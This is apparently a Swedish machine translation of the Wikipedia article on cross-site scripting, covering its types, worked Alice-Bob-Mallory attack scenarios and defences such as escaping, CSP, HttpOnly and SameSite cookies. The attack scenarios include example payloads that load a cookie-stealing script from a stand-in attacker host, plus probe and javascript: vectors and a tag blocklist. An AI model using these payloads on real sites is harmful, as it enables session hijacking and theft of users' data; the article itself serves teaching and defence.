Skripting på flera webbplatser

"XSS" omdirigerar hit. För annan användning, se XSS (disambiguation) .

vectorial version
Del av en serie om
informationssäkerhet
Relaterade säkerhetskategorier
Hot
Försvar

Cross-site scripting ( XSS ) är en typ av säkerhetsrisk som kan hittas i vissa webbapplikationer . XSS-attacker gör det möjligt för angripare att injicera skript på klientsidan på webbsidor som visas av andra användare. En skriptsårbarhet på flera ställen kan användas av angripare för att kringgå åtkomstkontroller som samma ursprungspolicy . Cross-site scripting som utfördes på webbplatser stod för ungefär 84 % av alla säkerhetsbrister som dokumenterats av Symantec fram till 2007. XSS-effekter varierar i intervallet från små olägenheter till betydande säkerhetsrisk, beroende på känsligheten hos den data som hanteras av den sårbara webbplatsen och arten av eventuella säkerhetsbegränsningar som implementeras av webbplatsens ägarnätverk .

Bakgrund

Säkerhet på webben beror på en mängd olika mekanismer, inklusive ett underliggande koncept av förtroende som kallas samma ursprungspolicy. Detta anger i huvudsak att om innehåll från en webbplats (som https://mybank.example1.com ) ges tillstånd att komma åt resurser (som cookies etc.) i en webbläsare, då innehåll från vilken webbadress som helst med samma (1) URI-schema , (2) värdnamn och (3) portnummer kommer att dela dessa behörigheter . Innehåll från webbadresser där något av dessa tre attribut skiljer sig måste ges separata behörigheter.

Cross-site scripting attacker använder kända sårbarheter i webbaserade applikationer, deras servrar eller plugin-system som de är beroende av. Genom att utnyttja en av dessa viker angripare in skadligt innehåll i innehållet som levereras från den utsatta webbplatsen. När det resulterande kombinerade innehållet anländer till klientsidans webbläsare har allt levererats från den betrodda källan och fungerar således under de behörigheter som beviljats ​​det systemet. Genom att hitta sätt att injicera skadliga skript på webbsidor kan en angripare få utökade åtkomstprivilegier till känsligt sidinnehåll, till sessionscookies och till en mängd annan information som underhålls av webbläsaren för användarens räkning. Cross-site scripting attacker är ett fall av kodinjektion .

Microsofts säkerhetsingenjörer introducerade termen "cross-site scripting" i januari 2000. Uttrycket "cross-site scripting" syftade ursprungligen på handlingen att ladda den attackerade tredjepartswebbapplikationen från en orelaterade attackwebbplats på ett sätt som exekverar ett fragment av JavaScript som utarbetats av angriparen i säkerhetskontexten för den riktade domänen (utnyttjar en reflekterad eller icke-beständig XSS-sårbarhet). Definitionen utökades gradvis till att omfatta andra sätt för kodinjektion, inklusive beständiga och icke-JavaScript-vektorer (inklusive ActiveX , Java , VBScript , Flash eller till och med HTML -skript), vilket orsakade viss förvirring för nykomlingar inom informationssäkerhetsområdet .

XSS-sårbarheter har rapporterats och utnyttjats sedan 1990-talet. Framträdande webbplatser som påverkats tidigare inkluderar de sociala nätverkssajterna Twitter och Facebook . Skriptfel över flera webbplatser har sedan dess överträffat buffertspill för att bli den vanligaste offentligt rapporterade säkerhetsbristen, där vissa forskare 2007 uppskattade att så många som 68 % av webbplatserna sannolikt är öppna för XSS-attacker.

Typer

Det finns ingen enskild, standardiserad klassificering av skriptfel på flera ställen, men de flesta experter skiljer mellan minst två primära varianter av XSS-brister: icke-beständiga och beständiga . Vissa källor delar ytterligare in dessa två grupper i traditionella (orsakade av kodfel på serversidan) och DOM -baserade (i kod på klientsidan).

Icke-beständig (reflekteras)

Exempel på ett icke-beständigt XSS-fel

Icke-beständiga XSS-sårbarheter i Google kan tillåta skadliga webbplatser att attackera Google-användare som besöker dem medan de är inloggade.

Den icke-beständiga (eller reflekterade ) skriptsårbarheten över flera webbplatser är den absolut mest grundläggande typen av webbsårbarhet. Dessa hål dyker upp när data som tillhandahålls av en webbklient, oftast i HTTP-frågeparametrar (t.ex. HTML-formulärinlämning), används omedelbart av skript på serversidan för att analysera och visa en sida med resultat för och för den användaren, utan korrekt sanera innehållet.

Eftersom HTML-dokument har en platt, seriell struktur som blandar kontrollsatser, formatering och det faktiska innehållet, kan all icke validerad användarlevererad data som ingår på den resulterande sidan utan korrekt HTML-kodning leda till uppmärkningsinjektion. Ett klassiskt exempel på en potentiell vektor är en webbplatssökmotor: om man söker efter en sträng kommer söksträngen vanligtvis att visas igen ordagrant på resultatsidan för att indikera vad som söktes efter. Om det här svaret inte korrekt escape eller avvisar HTML-kontrolltecken uppstår ett skriptfel över flera webbplatser.

En reflekterad attack levereras vanligtvis via e-post eller en neutral webbplats. Betet är en oskyldigt utseende URL, som pekar på en betrodd webbplats men innehåller XSS-vektorn. Om den betrodda webbplatsen är sårbar för vektorn kan ett klick på länken få offrets webbläsare att köra det injicerade skriptet.

Beständig (eller lagrad)

Exempel på ett ihållande XSS-fel

En ihållande skriptsårbarhet över zoner i kombination med en datormask tillät exekvering av godtycklig kod och listning av filsysteminnehåll via en QuickTime-film på MySpace .

Den ihållande (eller lagrade ) XSS-sårbarheten är en mer förödande variant av ett skriptfel över flera webbplatser: det uppstår när data som tillhandahålls av angriparen sparas av servern och sedan permanent visas på "normala" sidor som returneras till andra användare i regelbunden surfning, utan korrekt HTML-escape. Ett klassiskt exempel på detta är med anslagstavlor online där användare tillåts posta HTML-formaterade meddelanden för andra användare att läsa.

Anta till exempel att det finns en dejtingsajt där medlemmar skannar andra medlemmars profiler för att se om de ser intressanta ut. Av integritetsskäl döljer den här webbplatsen allas riktiga namn och e-postadress. Dessa hålls hemliga på servern. Den enda gången en medlems riktiga namn och e-postadress finns i webbläsaren är när medlemmen är inloggad och de inte kan se någon annans.

Anta att Mallory, en angripare, går med på sajten och vill ta reda på de riktiga namnen på personerna hon ser på sajten. För att göra det skriver hon ett skript som är utformat för att köras från andra användares webbläsare när de besöker hennes profil. Skriptet skickar sedan ett snabbt meddelande till hennes egen server, som samlar in denna information.

För att göra detta, på frågan "Describe your Ideal First Date", ger Mallory ett kort svar (för att verka normalt), men texten i slutet av hennes svar är hennes manus för att stjäla namn och e-postmeddelanden. Om skriptet är inneslutet i ett <script> -element kommer det inte att visas på skärmen. Anta sedan att Bob, en medlem av dejtingsajten, når Mallorys profil, som har hennes svar på frågan om Första dejten. Hennes skript körs automatiskt av webbläsaren och stjäl en kopia av Bobs riktiga namn och e-post direkt från hans egen maskin.

Ihållande XSS-sårbarheter kan vara mer betydande än andra typer eftersom en angripares skadliga skript renderas automatiskt, utan att man behöver rikta in sig på offer individuellt eller locka dem till en tredje parts webbplats. Särskilt när det gäller webbplatser för sociala nätverk, skulle koden vidare utformas för att sprida sig själv över konton och skapa en typ av mask på klientsidan .

Injektionsmetoderna kan variera en hel del; i vissa fall behöver angriparen inte ens interagera direkt med själva webbfunktionen för att utnyttja ett sådant hål. All data som tas emot av webbapplikationen (via e-post, systemloggar, snabbmeddelanden etc.) som kan kontrolleras av en angripare kan bli en injektionsvektor.

Server-side kontra DOM-baserade sårbarheter

Exempel på ett DOM-baserat XSS-fel

Innan felet löstes var Bugzilla-felsidor öppna för DOM -baserade XSS-attacker där godtyckliga HTML och skript kunde injiceras med hjälp av forcerade felmeddelanden.

XSS-sårbarheter hittades ursprungligen i applikationer som utförde all databehandling på serversidan. Användarinmatning (inklusive en XSS-vektor) skulle skickas till servern och sedan skickas tillbaka till användaren som en webbsida. Behovet av en förbättrad användarupplevelse resulterade i popularitet för applikationer som hade en majoritet av presentationslogiken (kanske skriven i JavaScript ) som arbetade på klientsidan som hämtade data, on-demand, från servern med AJAX .

Eftersom JavaScript-koden också bearbetade användarinmatning och renderade den i webbsidans innehåll började en ny underklass av reflekterade XSS-attacker att dyka upp som kallades DOM-baserad cross -site scripting . I en DOM-baserad XSS-attack vidrör inte skadlig data webbservern. Snarare återspeglas det av JavaScript-koden, helt på klientsidan.

Ett exempel på en DOM-baserad XSS-sårbarhet är buggen som hittades 2011 i ett antal jQuery -plugins. Förebyggande strategier för DOM-baserade XSS-attacker inkluderar mycket liknande åtgärder som traditionella XSS-förebyggande strategier men implementerade i JavaScript- kod och finns på webbsidor (dvs. indatavalidering och escape). Vissa JavaScript-ramverk har inbyggda motåtgärder mot denna och andra typer av attacker – till exempel AngularJS .

Själv-XSS

Self-XSS är en form av XSS-sårbarhet som förlitar sig på social ingenjörskonst för att lura offret att köra skadlig JavaScript-kod i sin webbläsare. Även om det tekniskt sett inte är en äkta XSS-sårbarhet på grund av att den förlitar sig på att en användare socialt utvecklar kod snarare än ett fel på den berörda webbplatsen som tillåter en angripare att göra det, utgör det fortfarande samma risker som en vanlig XSS-sårbarhet om korrekt utförd.

Muterad XSS (mXSS)

Muterad XSS inträffar när angriparen injicerar något som till synes är säkert men som skrivs om och modifieras av webbläsaren samtidigt som märkningen analyseras. Detta gör det extremt svårt att upptäcka eller sanera inom webbplatsens applikationslogik. Ett exempel är att balansera om oslutna citattecken eller till och med lägga till citattecken till parametrar utan citattecken på parametrar till CSS-teckensnittsfamiljen.

Utnyttja exempel

Angripare som avser att utnyttja skriptsårbarheter på flera ställen måste närma sig varje klass av sårbarhet på olika sätt. För varje klass beskrivs här en specifik attackvektor. Namnen nedan är tekniska termer, hämtade från Alice-and-Bob-rollen av karaktärer som vanligtvis används inom datorsäkerhet. Browser Exploitation Framework kan användas för att attackera webbplatsen och användarens lokala miljö.

Obeständig

  1. Alice besöker ofta en viss webbplats, som är värd för Bob. Bobs webbplats tillåter Alice att logga in med ett användarnamn/lösenordspar och lagrar känslig data, såsom faktureringsinformation. När en användare loggar in behåller webbläsaren en auktoriseringscookie, som ser ut som några slumpmässiga tecken, så att båda datorerna (klient och server) har ett register om att hon är inloggad.
  2. Mallory observerar att Bobs webbplats innehåller en reflekterad XSS-sårbarhet:
    1. När hon besöker söksidan anger hon en sökterm i sökrutan och klickar på knappen Skicka. Om inga resultat hittades kommer sidan att visa termen hon sökte efter följt av orden "hittades inte" och webbadressen kommer att vara http://bobssite.org/search?q=her%20search%20term .
    2. Med en normal sökfråga, som ordet " valpar ", visar sidan helt enkelt " valpar hittades inte" och webbadressen är "http://bobssite.org/search ?q=valpar " - vilket är ett helt normalt beteende.
    3. Men när hon skickar en onormal sökfråga, som " < script > alert ( 'xss' );</ script > ",
      1. En varningsruta visas (som säger "xss").
      2. Sidan visar "ej hittad" tillsammans med ett felmeddelande med texten "xss".
      3. Webbadressen är " http://bobssite.org/search ?q=<script>alert('xss');</script> - vilket är ett exploateringsbart beteende.
  3. Mallory skapar en URL för att utnyttja sårbarheten:
    1. Hon gör webbadressen http://bobssite.org/search ?q=puppies<script%20src="http://mallorisevilsite.com/authstealer.js"></script> . Hon kunde välja att koda ASCII- tecknen med procentkodning , till exempel http://bobssite.org/search ?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorisevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E , så att mänskliga läsare inte omedelbart kan dechiffrera den skadliga webbadressen.
    2. Hon skickar ett e-postmeddelande till några intet ont anande medlemmar på Bobs webbplats och säger "Kolla in några söta valpar!"
  4. Alice får e-postmeddelandet. Hon älskar valpar och klickar på länken. Den går till Bobs hemsida för att söka, hittar ingenting och visar "puppies not found" men precis i mitten körs script-taggen (den är osynlig på skärmen) och laddar och kör Mallorys program authstealer.js (utlöser XSS-attacken). Alice glömmer det.
  5. Programmet authstealer.js körs i Alices webbläsare som om det härstammar från Bobs webbplats. Den tar en kopia av Alices auktoriseringskaka och skickar den till Mallorys server, där Mallory hämtar den.
  6. Mallory lägger nu in Alices auktoriseringskaka i sin webbläsare som om den vore hennes egen. Hon går sedan till Bobs webbplats och är nu inloggad som Alice.
  7. Nu när hon är med går Mallory till faktureringsdelen av webbplatsen och letar upp Alices kreditkortsnummer och tar en kopia. Sedan går hon och ändrar Alices kontolösenord så att Alice inte kan logga in längre.
  8. Hon bestämmer sig för att ta det ett steg längre och skickar en liknande skapad länk till Bob själv och får därmed administratörsrättigheter till Bobs webbplats.

Flera saker kunde ha gjorts för att mildra denna attack:

  • Sökinmatningen kunde ha sanerats , vilket skulle inkludera korrekt kodningskontroll.
  • Webbservern kan ställas in för att omdirigera ogiltiga förfrågningar.
  • Webbservern kunde upptäcka en samtidig inloggning och ogiltigförklara sessionerna.
  • Webbservern kunde upptäcka en samtidig inloggning från två olika IP-adresser och ogiltigförklara sessionerna.
  • Webbplatsen kunde endast visa de sista siffrorna i ett tidigare använt kreditkort.
  • Webbplatsen kan kräva att användare anger sina lösenord igen innan de ändrar sin registreringsinformation.
  • Webbplatsen kan införa olika aspekter av innehållssäkerhetspolicyn .
  • Ställ in cookie med HttpOnly -flaggan för att förhindra åtkomst från JavaScript.

Ihållande attack

  1. Mallory får ett konto på Bobs hemsida.
  2. Mallory observerar att Bobs webbplats innehåller en lagrad XSS-sårbarhet: om man går till avsnittet Nyheter och postar en kommentar kommer webbplatsen att visa vad som än har skrivits in. Om kommentarstexten innehåller HTML-taggar kommer de att läggas till i webbsidans källa; i synnerhet kommer alla skripttaggar att köras när sidan laddas.

  3. Mallory läser en artikel i avsnittet Nyheter och skriver en kommentar: Jag älskar valparna i den här historien! Dom är så söta! <script src="http://mallorisevilsite.com/authstealer.js">
  4. När Alice (eller någon annan) laddar sidan med kommentaren, kör Mallorys skripttagg och stjäl Alices auktoriseringskaka och skickar den till Mallorys hemliga server för insamling.
  5. Mallory kan nu kapa Alices session och imitera Alice.

Bobs webbplatsprogramvara borde ha tagit bort skripttaggen eller gjort något för att säkerställa att det inte fungerade; säkerhetsfelet består i att han inte gjorde det.

Förebyggande åtgärder

Kontextuell utdatakodning/escape av stränginmatning

Det finns flera escape-scheman som kan användas beroende på var den opålitliga strängen måste placeras i ett HTML-dokument, inklusive HTML-entitetskodning, JavaScript-escape, CSS-escape och URL (eller procent) -kodning . De flesta webbapplikationer som inte behöver acceptera rik data kan använda escape för att i stort sett eliminera risken för XSS-attacker på ett ganska okomplicerat sätt.

Att endast utföra HTML-entitetskodning på de fem XML-betydande tecknen är inte alltid tillräckligt för att förhindra många former av XSS-attacker, säkerhetskodningsbibliotek är vanligtvis enklare att använda.

Vissa webbmallsystem förstår strukturen på den HTML de producerar och väljer automatiskt en lämplig kodare.

Säker validering av otillförlitlig HTML-inmatning

Många operatörer av särskilda webbapplikationer (t.ex. forum och webbmail) tillåter användare att använda en begränsad delmängd av HTML-uppmärkning. När du accepterar HTML-indata från användare (säg, <b>mycket</b> stor ), räcker inte utdatakodning (som &lt;b&gt;mycket&lt;/b&gt; stor ) eftersom användarinmatningen måste renderas som HTML av webbläsaren (så den visas som " mycket stor", istället för "<b>mycket</b> stor"). Att stoppa en XSS-attack när man accepterar HTML-indata från användare är mycket mer komplicerat i den här situationen. Otillförlitlig HTML-indata måste köras genom en HTML-saneringsmotor för att säkerställa att den inte innehåller XSS-kod.

Många valideringar förlitar sig på att analysera (svarta) specifika HTML-taggar "i riskzonen" som följande

   <  script  >  <  länk  >  <  iframe  >

Det finns flera problem med detta tillvägagångssätt, till exempel kan ibland till synes ofarliga taggar utelämnas som när de används på rätt sätt fortfarande kan resultera i en XSS

(se exemplet nedan)

  <  img  src  =  "javascript:alert(1)"  >

En annan populär metod är att ta bort användarinmatning av " och ' men detta kan också kringgås eftersom nyttolasten kan döljas med förvirring (se denna [1] länk för ett extremt exempel på detta)

Cookiesäkerhet

Förutom innehållsfiltrering används ofta andra ofullkomliga metoder för begränsning av skript över flera webbplatser. Ett exempel är användningen av ytterligare säkerhetskontroller vid hantering av cookie -baserad användarautentisering. Många webbapplikationer förlitar sig på sessionscookies för autentisering mellan individuella HTTP-förfrågningar, och eftersom skript på klientsidan i allmänhet har tillgång till dessa cookies, kan enkla XSS-exploater stjäla dessa cookies. För att mildra detta speciella hot (men inte XSS-problemet i allmänhet) knyter många webbapplikationer sessionscookies till IP-adressen för användaren som ursprungligen loggade in, och tillåter sedan endast den IP-adressen att använda den cookien. Detta är effektivt i de flesta situationer (om en angripare bara är ute efter cookien), men uppenbarligen går sönder i situationer där en angripare ligger bakom samma NATerade IP-adress eller webbproxy som offret, eller offret ändrar sin mobila IP-adress .

En annan begränsning som finns i Internet Explorer (sedan version 6), Firefox (sedan version 2.0.0.5), Safari (sedan version 4), Opera (sedan version 9.5) och Google Chrome , är en HttpOnly -flagga som tillåter en webbserver att ställa in en cookie som inte är tillgänglig för skript på klientsidan. Även om den är fördelaktig, kan funktionen varken helt förhindra cookie-stöld eller förhindra attacker i webbläsaren.

Inaktivera skript

Medan Web 2.0 och Ajax -utvecklare kräver användning av JavaScript, är vissa webbapplikationer skrivna för att tillåta drift utan behov av några skript på klientsidan. Detta tillåter användare, om de så önskar, att inaktivera skript i sina webbläsare innan de använder programmet. På detta sätt kan även potentiellt skadliga skript på klientsidan infogas oescaped på en sida, och användare skulle inte vara mottagliga för XSS-attacker.

Vissa webbläsare eller plugin-program för webbläsare kan konfigureras för att inaktivera skript på klientsidan per domän. Detta tillvägagångssätt är av begränsat värde om skript är tillåtet som standard, eftersom det blockerar dåliga webbplatser först efter att användaren vet att de är dåliga, vilket är för sent. Funktionalitet som blockerar alla skript och externa inklusioner som standard och sedan låter användaren aktivera det per domän är mer effektiv. Detta har varit möjligt under lång tid i Internet Explorer (sedan version 4) genom att ställa in dess så kallade "Security Zones", och i Opera (sedan version 9) med hjälp av dess "Site Specifikke Preferences". En lösning för Firefox och andra Gecko -baserade webbläsare är tillägget NoScript med öppen källkod som, förutom möjligheten att aktivera skript per domän, ger visst XSS-skydd även när skript är aktiverade.

Det mest betydande problemet med att blockera alla skript på alla webbplatser som standard är avsevärd minskning av funktionalitet och lyhördhet (skriptning på klientsidan kan vara mycket snabbare än skript på serversidan eftersom det inte behöver ansluta till en fjärrserver och sidan eller ramen behöver inte laddas om). Ett annat problem med skriptblockering är att många användare inte förstår det och inte vet hur de ska säkra sina webbläsare ordentligt. Ytterligare en nackdel är att många webbplatser inte fungerar utan skript på klientsidan, vilket tvingar användare att inaktivera skyddet för den webbplatsen och öppnar sina system för sårbarheter. Firefox NoScript-tillägget gör det möjligt för användare att tillåta skript selektivt från en viss sida samtidigt som de inte tillåter andra på samma sida. Till exempel kan skript från example.com tillåtas, medan skript från advertisingagency.com som försöker köras på samma sida kan vara förbjudna.

Selektivt inaktivera skript

Content Security Policy (CSP) tillåter HTML-dokument att välja att inaktivera vissa skript medan andra lämnas aktiverade. Webbläsaren kontrollerar varje skript mot en policy innan den beslutar om den ska köras. Så länge policyn endast tillåter pålitliga skript och inte tillåter dynamisk kodladdning kommer webbläsaren inte att köra program från opålitliga författare oavsett HTML-dokumentets struktur.

Detta flyttar säkerhetsbördan till policyförfattarna. Studier har ställt tvivel om effektiviteten av värdbaserade policyer på vitlista.

Totalt finner vi att 94,68 % av policyer som försöker begränsa skriptkörning är ineffektiva, och att 99,34 % av värdar med CSP använder policyer som inte ger några fördelar mot XSS.

Moderna CSP-policyer tillåter användning av nonces för att markera skript i HTML-dokumentet som säkra att köra istället för att hålla policyn helt åtskild från sidinnehållet. Så länge pålitliga nonces endast visas på pålitliga skript, kommer webbläsaren inte att köra program från opålitliga författare. Vissa stora applikationsleverantörer rapporterar att de framgångsrikt har implementerat icke-baserade policyer.

Nya defensiva tekniker

Populariteten för ramverk på klientsidan har förändrat hur angripare skapar XSS.

Skriptgadgetar är legitima JavaScript-fragment inom en applikations legitima kodbas … Vi visar att dessa gadgetar är allestädes närvarande i nästan alla moderna JavaScript-ramverk och presenterar en empirisk studie som visar förekomsten av skriptprylar i produktiv kod. Som ett resultat antar vi att de flesta begränsningstekniker i webbapplikationer som skrivs idag kan kringgås.

Betrodda typer ändrar webb-API: er för att kontrollera att värden har varumärkesskyddat som betrodda. Så länge som program bara varumärken pålitliga värden, kan en angripare som kontrollerar ett JavaScript- strängvärde inte orsaka XSS. Betrodda typer är utformade för att kunna granskas av blå team .

En annan försvarsmetod är att använda automatiserade verktyg som tar bort XSS skadlig kod på webbsidor, dessa verktyg använder statisk analys och/eller mönstermatchningsmetoder för att identifiera skadliga koder potentiellt och säkra dem med metoder som escape.

SameSite-cookieparameter

När en cookie ställs in med parametern SameSite=Strict, tas den bort från alla förfrågningar om kors ursprung. När den ställs in med SameSite=Lax, tas den bort från alla icke-"säkra" förfrågningar med kors ursprung (det vill säga andra förfrågningar än GET, OPTIONS och TRACE som har skrivskyddad semantik). Funktionen är implementerad i Google Chrome sedan version 63 och Firefox sedan version 60.

Relaterade sårbarheter

I en Universal Cross-Site Scripting ( UXSS , eller Universal XSS ) attack utnyttjas sårbarheter i själva webbläsaren eller i webbläsarens plugins (snarare än sårbarheter på andra webbplatser, som är fallet med XSS-attacker).

Flera klasser av sårbarheter eller attacktekniker är relaterade till XSS: cross-zone scripting utnyttjar "zon"-koncept i vissa webbläsare och kör vanligtvis kod med större behörighet. HTTP-headerinjektion kan användas för att skapa skriptvillkor på flera ställen på grund av escape-problem på HTTP-protokollnivå (utöver att möjliggöra attacker som HTTP-svarsdelning ).

Cross-site request forgery (CSRF/XSRF) är nästan motsatsen till XSS, i det att angriparen (och hans skadliga sida) snarare än att utnyttja användarens förtroende för en webbplats utnyttjar webbplatsens förtroende för klientprogramvaran och skickar in förfrågningar om att webbplatsen anser representerar medvetna och avsiktliga handlingar från autentiserade användare. XSS-sårbarheter (även i andra applikationer som körs på samma domän) gör att angripare kan kringgå CSRF-förebyggande ansträngningar.

Covert Redirection drar fördel av tredjepartsklienter som är mottagliga för XSS- eller Open Redirect-attacker. Normala nätfiskeförsök kan vara lätta att upptäcka, eftersom den skadliga sidans webbadress vanligtvis kommer att vara avstängd med ett par bokstäver från den riktiga webbplatsen. Skillnaden med Covert Redirection är att en angripare kan använda den riktiga webbplatsen istället genom att korrumpera webbplatsen med en popup-dialogruta för skadlig inloggning.

Slutligen utnyttjar SQL-injektion en sårbarhet i databaslagret i en applikation. När användarinmatning är felaktigt filtrerad kan alla SQL-satser exekveras av applikationen.

Se även

Vidare läsning

externa länkar

Hämtad från " https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&oldid=1138376643 "